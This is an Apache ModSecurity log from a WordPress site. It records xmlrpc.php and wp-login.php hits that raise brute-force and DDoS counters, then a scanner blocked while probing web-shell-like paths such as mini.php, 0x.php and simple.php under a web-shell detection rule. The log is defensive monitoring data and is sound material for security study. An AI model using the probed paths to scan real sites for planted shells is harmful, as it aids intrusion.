[Mon Apr 20 00:53:03.545689 2026] [:error] [pid 47773:tid 47838] [client 63.33.214.123:61716] [client 63.33.214.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.33.214.123, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeUIb-iBHdnCJDuPq9BtBwAAAFY"]
[Mon Apr 20 01:29:47.388110 2026] [:error] [pid 15764:tid 15841] [client 204.48.18.182:37874] [client 204.48.18.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 204.48.18.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeURC2LL_sqdSHoVp-RwFgAAAk8"]
[Mon Apr 20 02:19:48.951586 2026] [:error] [pid 15760:tid 15774] [client 122.168.4.84:2290] [client 122.168.4.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.168.4.84, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeUcxPSdD_XHQMJ_ISuzxQAAAcY"]
[Mon Apr 20 02:19:59.246617 2026] [:error] [pid 15764:tid 15843] [client 122.168.4.84:3279] [client 122.168.4.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.168.4.84, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeUcz2LL_sqdSHoVp-R8aAAAAlE"]
[Mon Apr 20 02:20:10.259094 2026] [:error] [pid 47775:tid 47864] [client 122.168.4.84:19276] [client 122.168.4.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.168.4.84, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeUc2rmztjlk9tsmoexG9QAAAJU"]
[Mon Apr 20 02:20:20.802276 2026] [:error] [pid 47773:tid 47821] [client 122.168.4.84:7953] [client 122.168.4.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.168.4.84, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeUc5OiBHdnCJDuPq9B5RQAAAEU"]
[Mon Apr 20 02:20:31.734054 2026] [:error] [pid 47772:tid 47797] [client 122.168.4.84:22918] [client 122.168.4.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.168.4.84, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeUc74c0L16cb4smAz8OQAAAAAg"]
[Mon Apr 20 02:37:35.924111 2026] [:error] [pid 47775:tid 47851] [client 51.159.142.108:59476] [client 51.159.142.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.142.108, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeUg77mztjlk9tsmoexIugAAAIg"]
[Mon Apr 20 02:56:51.086946 2026] [:error] [pid 15694:tid 15746] [client 81.181.68.123:44178] [client 81.181.68.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.181.68.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeUlc7imB-jol1fwqAo-ngAAAZQ"]
[Mon Apr 20 03:34:59.807010 2026] [:error] [pid 64332:tid 64359] [client 93.190.48.15:47702] [client 93.190.48.15] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.190.48.15, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeUuY8AQ57uMKAVSYEnZhAAAABE"]
[Mon Apr 20 03:56:43.740909 2026] [:error] [pid 64440:tid 64465] [client 20.237.8.18:16128] [client 20.237.8.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.237.8.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeUze9kVUvTgp8p7mrO1cQAAANY"]
[Mon Apr 20 03:58:39.047767 2026] [:error] [pid 64333:tid 64387] [client 34.165.13.211:43734] [client 34.165.13.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.165.13.211, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeUz73Zav9wH8wxMd_sigQAAAEs"]
[Mon Apr 20 04:00:21.573638 2026] [:error] [pid 64440:tid 64465] [client 47.244.90.157:40868] [client 47.244.90.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.244.90.157, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeU0VdkVUvTgp8p7mrO3SAAAANY"]
[Mon Apr 20 04:25:41.055872 2026] [:error] [pid 64334:tid 64403] [client 207.154.197.201:59830] [client 207.154.197.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 207.154.197.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeU6RcNh9IxxDqsrPyNwcAAAAIA"]
[Mon Apr 20 06:00:01.104860 2026] [:error] [pid 64333:tid 64384] [client 103.110.84.178:42284] [client 103.110.84.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.110.84.178, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeVQYXZav9wH8wxMd_tF0QAAAEg"]
[Mon Apr 20 06:17:25.136865 2026] [:error] [pid 64333:tid 64381] [client 13.74.146.113:2309] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0x.php"] [unique_id "aeVUdXZav9wH8wxMd_tNhwAAAEU"]
[Mon Apr 20 06:17:25.670427 2026] [:error] [pid 64440:tid 64467] [client 13.74.146.113:1571] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0x.php"] [unique_id "aeVUddkVUvTgp8p7mrPrvQAAANg"]
[Mon Apr 20 06:17:26.194833 2026] [:error] [pid 60072:tid 60077] [client 13.74.146.113:10119] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0x.php"] [unique_id "aeVUdvuj5dzu2v3Qr6Gd5gAAAcM"]
[Mon Apr 20 06:17:26.697113 2026] [:error] [pid 64333:tid 64380] [client 13.74.146.113:5888] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0x.php"] [unique_id "aeVUdnZav9wH8wxMd_tNjwAAAEQ"]
[Mon Apr 20 06:17:27.229572 2026] [:error] [pid 64333:tid 64396] [client 13.74.146.113:10684] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "aeVUd3Zav9wH8wxMd_tNkAAAAFQ"]
[Mon Apr 20 06:17:27.733011 2026] [:error] [pid 47731:tid 47743] [client 13.74.146.113:3563] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "aeVUd1Owpc-h7Nzn-iOgaQAAAQo"]
[Mon Apr 20 06:17:28.233906 2026] [:error] [pid 47731:tid 47748] [client 13.74.146.113:12951] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "aeVUeFOwpc-h7Nzn-iOgawAAAQ8"]
[Mon Apr 20 06:17:28.735430 2026] [:error] [pid 60072:tid 60098] [client 13.74.146.113:3527] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "aeVUePuj5dzu2v3Qr6Gd6AAAAdg"]
[Mon Apr 20 06:17:29.235186 2026] [:error] [pid 47731:tid 47747] [client 13.74.146.113:10391] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ihodcrk.php"] [unique_id "aeVUeVOwpc-h7Nzn-iOgbQAAAQ4"]
[Mon Apr 20 06:17:29.781500 2026] [:error] [pid 47731:tid 47736] [client 13.74.146.113:1543] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ihodcrk.php"] [unique_id "aeVUeVOwpc-h7Nzn-iOgcAAAAQM"]
[Mon Apr 20 06:17:30.281949 2026] [:error] [pid 64334:tid 64404] [client 13.74.146.113:3893] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ihodcrk.php"] [unique_id "aeVUesNh9IxxDqsrPyOd0gAAAIE"]
[Mon Apr 20 06:17:30.816914 2026] [:error] [pid 47731:tid 47742] [client 13.74.146.113:12817] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ihodcrk.php"] [unique_id "aeVUelOwpc-h7Nzn-iOgdgAAAQk"]
[Mon Apr 20 06:17:31.336109 2026] [:error] [pid 64332:tid 64354] [client 13.74.146.113:7532] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mini.php"] [unique_id "aeVUe8AQ57uMKAVSYEkAzAAAAAw"]
[Mon Apr 20 06:17:31.857702 2026] [:error] [pid 47731:tid 47739] [client 13.74.146.113:14999] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mini.php"] [unique_id "aeVUe1Owpc-h7Nzn-iOgeAAAAQY"]
[Mon Apr 20 06:17:32.358873 2026] [:error] [pid 47731:tid 47748] [client 13.74.146.113:10850] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mini.php"] [unique_id "aeVUfFOwpc-h7Nzn-iOgeQAAAQ8"]
[Mon Apr 20 06:17:32.892020 2026] [:error] [pid 64334:tid 64413] [client 13.74.146.113:15007] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mini.php"] [unique_id "aeVUfMNh9IxxDqsrPyOd1AAAAIo"]
[Mon Apr 20 06:17:33.392117 2026] [:error] [pid 47731:tid 47747] [client 13.74.146.113:17023] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/owrlfoa.php"] [unique_id "aeVUfVOwpc-h7Nzn-iOgewAAAQ4"]
[Mon Apr 20 06:17:33.927036 2026] [:error] [pid 64333:tid 64390] [client 13.74.146.113:10748] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/owrlfoa.php"] [unique_id "aeVUfXZav9wH8wxMd_tNmwAAAE4"]
[Mon Apr 20 06:17:34.428801 2026] [:error] [pid 64440:tid 64450] [client 13.74.146.113:10821] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/owrlfoa.php"] [unique_id "aeVUftkVUvTgp8p7mrPrxQAAAMc"]
[Mon Apr 20 06:17:34.953200 2026] [:error] [pid 48101:tid 48124] [client 13.74.146.113:7255] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/owrlfoa.php"] [unique_id "aeVUfvIgenNbs2bVQGsYFwAAAZQ"]
[Mon Apr 20 06:17:35.454468 2026] [:error] [pid 64333:tid 64399] [client 13.74.146.113:10876] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "aeVUf3Zav9wH8wxMd_tNnwAAAFc"]
[Mon Apr 20 06:17:35.960215 2026] [:error] [pid 64332:tid 64352] [client 13.74.146.113:3540] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "aeVUf8AQ57uMKAVSYEkA1AAAAAo"]
[Mon Apr 20 06:17:36.461629 2026] [:error] [pid 64333:tid 64395] [client 13.74.146.113:4948] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "aeVUgHZav9wH8wxMd_tNogAAAFM"]
[Mon Apr 20 06:17:36.994505 2026] [:error] [pid 64333:tid 64396] [client 13.74.146.113:8348] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "aeVUgHZav9wH8wxMd_tNpAAAAFQ"]
[Mon Apr 20 06:17:37.525642 2026] [:error] [pid 47731:tid 47740] [client 13.74.146.113:16987] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sim.php"] [unique_id "aeVUgVOwpc-h7Nzn-iOgfQAAAQc"]
[Mon Apr 20 06:17:38.059851 2026] [:error] [pid 60072:tid 60092] [client 13.74.146.113:13759] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sim.php"] [unique_id "aeVUgvuj5dzu2v3Qr6Gd7wAAAdI"]
[Mon Apr 20 06:17:38.593599 2026] [:error] [pid 60072:tid 60078] [client 13.74.146.113:1482] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sim.php"] [unique_id "aeVUgvuj5dzu2v3Qr6Gd8AAAAcQ"]
[Mon Apr 20 06:17:39.102325 2026] [:error] [pid 64333:tid 64386] [client 13.74.146.113:16991] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sim.php"] [unique_id "aeVUg3Zav9wH8wxMd_tNqAAAAEo"]
[Mon Apr 20 06:17:39.602297 2026] [:error] [pid 64333:tid 64398] [client 13.74.146.113:14744] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bx.php"] [unique_id "aeVUg3Zav9wH8wxMd_tNqwAAAFY"]
[Mon Apr 20 06:17:40.104630 2026] [:error] [pid 47731:tid 47739] [client 13.74.146.113:13428] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bx.php"] [unique_id "aeVUhFOwpc-h7Nzn-iOgggAAAQY"]
[Mon Apr 20 06:17:40.637189 2026] [:error] [pid 64332:tid 64343] [client 13.74.146.113:1511] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bx.php"] [unique_id "aeVUhMAQ57uMKAVSYEkA2gAAAAE"]
[Mon Apr 20 06:17:41.138676 2026] [:error] [pid 47731:tid 47743] [client 13.74.146.113:9739] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bx.php"] [unique_id "aeVUhVOwpc-h7Nzn-iOggwAAAQo"]
[Mon Apr 20 06:17:41.671582 2026] [:error] [pid 48101:tid 48127] [client 13.74.146.113:16106] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "aeVUhfIgenNbs2bVQGsYGgAAAZc"]
[Mon Apr 20 06:17:42.204259 2026] [:error] [pid 64332:tid 64359] [client 13.74.146.113:9096] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "aeVUhsAQ57uMKAVSYEkA3AAAABE"]
[Mon Apr 20 06:17:42.722722 2026] [:error] [pid 64440:tid 64463] [client 13.74.146.113:2803] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "aeVUhtkVUvTgp8p7mrPryAAAANQ"]
[Mon Apr 20 06:17:43.273213 2026] [:error] [pid 64332:tid 64363] [client 13.74.146.113:14775] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "aeVUh8AQ57uMKAVSYEkA4AAAABU"]
[Mon Apr 20 06:17:43.823564 2026] [:error] [pid 64332:tid 64356] [client 13.74.146.113:12190] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ext.php"] [unique_id "aeVUh8AQ57uMKAVSYEkA4gAAAA4"]
[Mon Apr 20 06:17:44.343847 2026] [:error] [pid 48101:tid 48114] [client 13.74.146.113:14993] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ext.php"] [unique_id "aeVUiPIgenNbs2bVQGsYGwAAAYo"]
[Mon Apr 20 06:17:44.886203 2026] [:error] [pid 47779:tid 47788] [client 13.74.146.113:9744] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ext.php"] [unique_id "aeVUiIahGl1n9UkmcNjwFQAAAUc"]
[Mon Apr 20 06:17:45.392437 2026] [:error] [pid 47731:tid 47734] [client 13.74.146.113:9019] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ext.php"] [unique_id "aeVUiVOwpc-h7Nzn-iOghgAAAQE"]
[Mon Apr 20 06:17:45.938636 2026] [:error] [pid 47731:tid 47751] [client 13.74.146.113:7376] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/afggdg.php"] [unique_id "aeVUiVOwpc-h7Nzn-iOgiQAAARI"]
